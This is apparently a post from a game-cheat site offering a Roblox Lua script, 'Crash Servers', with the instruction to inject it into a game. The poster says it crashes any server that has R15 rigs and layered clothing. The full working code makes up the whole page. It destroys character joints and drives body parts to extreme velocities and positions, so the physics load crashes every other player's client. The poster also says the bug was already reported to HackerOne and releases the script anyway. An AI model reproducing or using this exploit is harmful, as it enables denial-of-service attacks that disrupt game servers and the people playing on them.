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Get the Crash Servers

The Crash Servers code is below. Copy & inject it into the game. Enjoy!

Universal Script ? - Private script I've been working on that crashes any server with R15 and layered clothing enabled. - This method can be laggy on your end and even hard-crash you sometimes due to heavy physics processing. - I've had this (1 of 3) scripts for a few days now, and it's already been reported by someone on hackerone so why not release it. - I was able to fix the self-crashing of your own client with the help of a suggestion cli made. - Gives everyone a cool fireworks show before their clients go kaboom!
local LP, Players = game:GetService('Players').LocalPlayer, game:GetService('Players')

local function GetLayeredAssets(Char)
    local Assets, Char = {}, assert(typeof(Char) == 'Instance' and Char:IsA('Model'), 'invalid argument #1 to \'GetLayeredAssets\' (Instance [Character] expected, got: '..tostring(typeof(Char)..(tostring(typeof(Char) == 'Instance' and ', '..Char.ClassName or '')..')'))) and Char or nil
    
    for _, v in next, Char:GetChildren() do
        if v:IsA('Accessory') and v:FindFirstChild('Handle') and (v.Handle:FindFirstChild('SurfaceAppearance') or v.Handle:FindFirstChildOfClass('WrapLayer')) then
            table.insert(Assets, v)
        end
    end
    
    return Assets
end

if LP and LP.Character and LP.Character.Parent and LP.Character:FindFirstChildOfClass('Humanoid') then
    local LC, Hum = LP.Character, LP.Character:FindFirstChildOfClass('Humanoid')
    local LayeredAssets = LC and GetLayeredAssets(LC) or {}
    local LFoot, RFoot = LP.Character:FindFirstChild('LeftFoot') and LP.Character.LeftFoot:FindFirstChild('LeftFoot') or nil, LP.Character:FindFirstChild('RightFoot') and LP.Character.RightFoot:FindFirstChild('RightFoot') or nil
    local LeftAnkle, RightAnkle = LFoot and LFoot.Parent and LFoot.Parent:FindFirstChild('LeftAnkle'), RFoot and RFoot.Parent and RFoot.Parent:FindFirstChild('RightAnkle')
    local RP, UpperTorso, LowerTorso, Waist = LC:FindFirstChild('HumanoidRootPart'), LC:FindFirstChild('UpperTorso'), LC:FindFirstChild('LowerTorso'), LC:FindFirstChild('Waist', true)
    
    workspace.CurrentCamera.CameraSubject = RP
    
    if #LayeredAssets > 0 and Hum.RigType == Enum.HumanoidRigType.R15 and LFoot and RFoot and (LeftAnkle and RightAnkle and LeftAnkle.Parent and RightAnkle.Parent) then
        if Waist then
            Waist:Destroy()
            
            wait()
            
            for _, v in next, {RP, UpperTorso, LowerTorso} do
                v.Velocity = Vector3.new((v == RP and 9e9 or v == LowerTorso and -9e9), 9e9, (v == RP and 9e9 or v == UpperTorso and 9e9 or v == LowerTorso and -9e9))
                v.CFrame = CFrame.new(v.CFrame * Vector3.new((v == RP and 9e9 or v == LowerTorso and -9e9), 9e9, (v == RP and 9e9 or v == UpperTorso and 9e9 or v == LowerTorso and -9e9)))
            end
        end
        
        for _, v in next, {'LeftHand', 'RightHand'} do
            if LC and LC.Parent then
                local Object = LC:FindFirstChild(v)
                
                if Object then
                    Object:Destroy()
                end
            end
        end
        
        LeftAnkle:Destroy(); RightAnkle:Destroy(); task.wait()
        
        for _, Foot in next, {LFoot.Parent, RFoot.Parent} do
            task.spawn(function()
                if Foot and Foot.Parent then
                    for i = 1, 100 do
                        if Foot and Foot.Parent ~= nil then
                            Foot.Velocity = Vector3.new(Foot.Name == 'LeftFoot' and 9e9 or Foot.Name == 'RightFoot' and -9e9, 9e9, math.random(-9e9, 9e9)); task.wait()
                        end
                    end
                end
            end)
        end
        
        task.wait()
        
        for _, v in next, LayeredAssets do
            v:Destroy()
        end
        
        RP.Anchored = true
        
        wait(5)
        
        Hum.Health = 0
    elseif LayeredAssets == 0 then
        error('attempt to crash failed (you were not detected wearing any valid layered assets)')
    end
end